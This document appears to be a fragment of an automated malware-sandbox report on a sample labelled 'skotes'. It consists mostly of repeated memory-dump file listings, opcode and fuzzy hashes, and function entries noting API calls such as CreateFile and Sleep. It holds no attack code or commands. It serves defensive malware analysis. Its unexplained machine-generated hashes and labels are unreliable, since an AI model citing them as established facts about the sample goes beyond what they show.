Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: f17dc7a13eebd3d37ff1602fdd8a200be8c18a44419bdc1c722ad74bf8ec8ccb
Instruction ID: 4f39a8e153c12387c2da36db6963be3ecf1d977574413fdb2440aba3395f53b2
Opcode Fuzzy Hash: f17dc7a13eebd3d37ff1602fdd8a200be8c18a44419bdc1c722ad74bf8ec8ccb
Instruction Fuzzy Hash: B0D0923214120DBBDF129E84DD06EDA3BAAFB88754F014140BE1C66120C732E832EB94

Function 00AD6C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00AD6CF5

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 72297997d610c70a30b1b9468b2b90e059ea493d99cdc952c799e38a3a2be86c
Instruction ID: 41e953eadf556c9c824ba17bbbf8f3305f50b98e849af0fadd36105c1d254b5e
Opcode Fuzzy Hash: 72297997d610c70a30b1b9468b2b90e059ea493d99cdc952c799e38a3a2be86c
Instruction Fuzzy Hash: 01F0A471E10614ABC715BB789E07B1EBBB4EB06B60FC00759F822673E5EB741A0547D2

Function 05330C98 Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 75a1dc3d5eaf51d5888a0acbd12297036dd996bd50562b3cd123982b3b2294d5
Instruction ID: 467c035e43d51ecbc8bb465274c9a0c52073a86e9b59cc924782281245cba501
Opcode Fuzzy Hash: 75a1dc3d5eaf51d5888a0acbd12297036dd996bd50562b3cd123982b3b2294d5
Instruction Fuzzy Hash: 1A21F8EB24C1107DE34AD4955B5FBFA2F9FE6D33303308426F44389D42E2994A4A1272

Function 05330C8D Relevance: .1, Instructions: 118COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db383d5a69474f2e0d40fe61e93abee3e57fa81a230a3a351288bd7486e4c453
Instruction ID: c1c8f9718fb5bf4dac9216f2248ed636e0f648c66b1ebe639152e8cf3f8252b3
Opcode Fuzzy Hash: db383d5a69474f2e0d40fe61e93abee3e57fa81a230a3a351288bd7486e4c453
Instruction Fuzzy Hash: 0A210BEB24C110BDE34AD4461B5FAFB7B9FE6D37303308426F447C9D16E2994A5A1171

Function 05330CCD Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fdf0788d55c2752edd61ad69a83b1b7149253619c43b15edf6e3841607784e0
Instruction ID: 097e64f606918ff4bbdc98d7ff02ed8c01476f415a827d70fabca843d61fa629
Opcode Fuzzy Hash: 9fdf0788d55c2752edd61ad69a83b1b7149253619c43b15edf6e3841607784e0
Instruction Fuzzy Hash: 9611D6EB24C114BDE24AD4466B5FAFB6B9FE6E63303308526F443C5D42D2990A9D5232

Function 05330CBD Relevance: .1, Instructions: 105COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5bacbe832e040b89a92013eae1e3ac3eaba24a95c65b772d6b8adf3889da666e
Instruction ID: afd0e1e4b0f419ae711d87c05ca7ad0161bd793ade4aae85e4156d8e78513209
Opcode Fuzzy Hash: 5bacbe832e040b89a92013eae1e3ac3eaba24a95c65b772d6b8adf3889da666e
Instruction Fuzzy Hash: 2F11E9EB24C120BDE34AD4862B5FAFA6B9FE5D33303308027F407C9D0292994A9D5272

Function 05330D05 Relevance: .1, Instructions: 97COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6fbe6a2a2582bb3fd0faff61bcdd1bf941cba06ceb0b59633247aa5b8a1a3fe8
Instruction ID: 05f4f3a218cbbba12100e3e7121d00b34ce7d778639dcf0745102e86958aab82
Opcode Fuzzy Hash: 6fbe6a2a2582bb3fd0faff61bcdd1bf941cba06ceb0b59633247aa5b8a1a3fe8
Instruction Fuzzy Hash: B3110ABB20C214BEE34AD5565A9AAFA7B9FA6D3330730806AF003C6D42D25A465E5131

Function 05330CE8 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 074759af9813d2bafa1b4fcce4fe8486dcec2b6a419726b446e34f07c636a248
Instruction ID: ef3e0c1a1470ccb896424f3c6722d44a762686b6ba7d3f7aba802cf51508e9ab
Opcode Fuzzy Hash: 074759af9813d2bafa1b4fcce4fe8486dcec2b6a419726b446e34f07c636a248
Instruction Fuzzy Hash: 0D11B6EB24C110BDE34BD4562B5BAFA7B9FA6E3330330812BF447C5D4292991B9D5232

Function 05330D4E Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 429ddd5927a6f20c8cf666b859c9735f6e400325c339b891a3d36ed6e0cf8ff9
Instruction ID: 45d7053a0c1395b06d6cda6f971c07b1dea7acceee8a8d6622238201af9566d7
Opcode Fuzzy Hash: 429ddd5927a6f20c8cf666b859c9735f6e400325c339b891a3d36ed6e0cf8ff9
Instruction Fuzzy Hash: A601B9AB248510BDE24AD4462B5FBFB6B9FA6D33307308017F407C5D419199069D5132

Function 05330D5B Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 562f1c4d91b3729760e664eda773b6c8c4873fb9f4fbe0b218e76185fa63cb8e
Instruction ID: f02ad7199620134900080a9dbc7bd898ba9b8b7052372ac4926a8c1d27008100
Opcode Fuzzy Hash: 562f1c4d91b3729760e664eda773b6c8c4873fb9f4fbe0b218e76185fa63cb8e
Instruction Fuzzy Hash: 5B01B5AB208610BDE24AD5466B5EAFA6B9FE5E33303308526F043C5D02D6990A9D5231

Function 05330D80 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c3e577cdcc632b880f02cb1f7180532ae2550ab9d590b8cf2525f4fad5cd8a25
Instruction ID: 4b693353f7d1b1eb406283fca29b43fd7f3aed786f5b2f7371a0a9d583bda186
Opcode Fuzzy Hash: c3e577cdcc632b880f02cb1f7180532ae2550ab9d590b8cf2525f4fad5cd8a25
Instruction Fuzzy Hash: A701F9B720C744AEE306D1566B5EABA7F5ED6E2230730886FF403D6C43D295064D9235

Function 05330DF6 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad1c849f73bda8f0879986eaf0b8ee2a82d454fe2c7a1036b054a6ee0b096f78
Instruction ID: 9a1a0e2c5590b494b09374fb8f71353018cede1ce816113f6a5bb2c67e9aec53
Opcode Fuzzy Hash: ad1c849f73bda8f0879986eaf0b8ee2a82d454fe2c7a1036b054a6ee0b096f78
Instruction Fuzzy Hash: 01F08CAB248610ACE209D1462B1FEFB6B9FA6E2630330852BF04399C429299174E6131

Function 05330DB5 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ff9b978f7524458ed64aaa4c7fcb32bf09ef0fdf1fe5887675eeadf4032fb2
Instruction ID: dd21056242d66aefd1d3b59440e19d43d73cc6eab9c659ed481af46872a70865
Opcode Fuzzy Hash: e0ff9b978f7524458ed64aaa4c7fcb32bf09ef0fdf1fe5887675eeadf4032fb2
Instruction Fuzzy Hash: D6F0C8EB30C610BDF209D1463B1EABB6B9FE5E2230330856BF003D5C42D599074D5135

Function 05330DCA Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ad9ef74c6475adc18f9ea437c3ab6e3e3e58ef47a7263f5a90d20d8c89110e9
Instruction ID: f3024bd29ac0e18febe0568d2b1a597bcc1cc653562bc6c4456a80f84ed4ef8e
Opcode Fuzzy Hash: 1ad9ef74c6475adc18f9ea437c3ab6e3e3e58ef47a7263f5a90d20d8c89110e9
Instruction Fuzzy Hash: B8F05EBB34C610BDF206D5466B1AEBBA75FE5E2630330C42AF003C6942D699064E6131

Function 05330E1C Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7cf13a7fd4b7aa8f75dffba9b093aa489a618a622ed4f740b68a61913c21bf15
Instruction ID: 99598014659cb42a7dd4ebb97d88778b6fd904dadcd43aca0af5054cc1fc6d82
Opcode Fuzzy Hash: 7cf13a7fd4b7aa8f75dffba9b093aa489a618a622ed4f740b68a61913c21bf15
Instruction Fuzzy Hash: AAF0E9FB35C5207DE209D5426B5E9FB6B5FD5D6230331841BF003C6906969A064E5135

Function 05330DE0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23361340a22eb7a318b005cdfd926e49672822e395fc031f2568b0fd75cbf109
Instruction ID: 19c33852d27e4ab8ba26c021cc80e64504a292990a9d68e3851e8a7647e1818b
Opcode Fuzzy Hash: 23361340a22eb7a318b005cdfd926e49672822e395fc031f2568b0fd75cbf109
Instruction Fuzzy Hash: A9F027F730C6107DF209D4966B1EAFB6B5FE1D2630331C52BF003C6802E29A064E1131

Function 05330E07 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea43c63bf530a8736b8ab665cd1f683e4f6f394ce15160a9b80be975eefd1dbc
Instruction ID: da000c085129f4e6fa076bc4b53f43ad0179e2e5a3502cf0472459b3d7b3562c
Opcode Fuzzy Hash: ea43c63bf530a8736b8ab665cd1f683e4f6f394ce15160a9b80be975eefd1dbc
Instruction Fuzzy Hash: 50E0E5E73082047DF101E49627199FB679FE2E2330330C52BF003C5842C2A9058E5135

Function 05330E32 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2890461409.0000000005330000.00000040.00001000.00020000.00000000.sdmp, Offset: 05330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5330000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d03cda47889c34114e14b4666902e44ec23f2aa0e2e7cb3a0975f50f08ab9d2
Instruction ID: a3927df87eee58e052798db2eda00305d5592523b9f82e953155a1842202daca
Opcode Fuzzy Hash: 9d03cda47889c34114e14b4666902e44ec23f2aa0e2e7cb3a0975f50f08ab9d2
Instruction Fuzzy Hash: 31E0DFE32181503DA24284862A44EFB2B9EE9D3631330C86AF002C6807D69E4A0BA231

Non-executed Functions

Function 00AE0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AE0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AE0F62

Part of subcall function 00AE265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 00AE2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00AE0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AE0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AE103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 00AE106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00AE10C1

Strings

(, xrefs: 00AE0F22

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$GlobalInitialize$Node::$AffinityManager::Resource$CleanupCore::FindGroupInformationRestriction::Topology
String ID: (
API String ID: 2943730970-3887548279
Opcode ID: c181a93729d668863be5569e830c28fe451ed65fef0b90453bdf7bda5fdddd86
Instruction ID: 6992f260d961cfbd2f00eb353688d2ede2fb9cc565bec5e646bfa5aa44864968
Opcode Fuzzy Hash: c181a93729d668863be5569e830c28fe451ed65fef0b90453bdf7bda5fdddd86
Instruction Fuzzy Hash: E8B16BB0A00655EFDB28CF6AD981B7AB7B5FF48300F14816DE905AB281D770AD91CB90

Function 00AE1602 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AE2CFC: Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 00AE2D0F

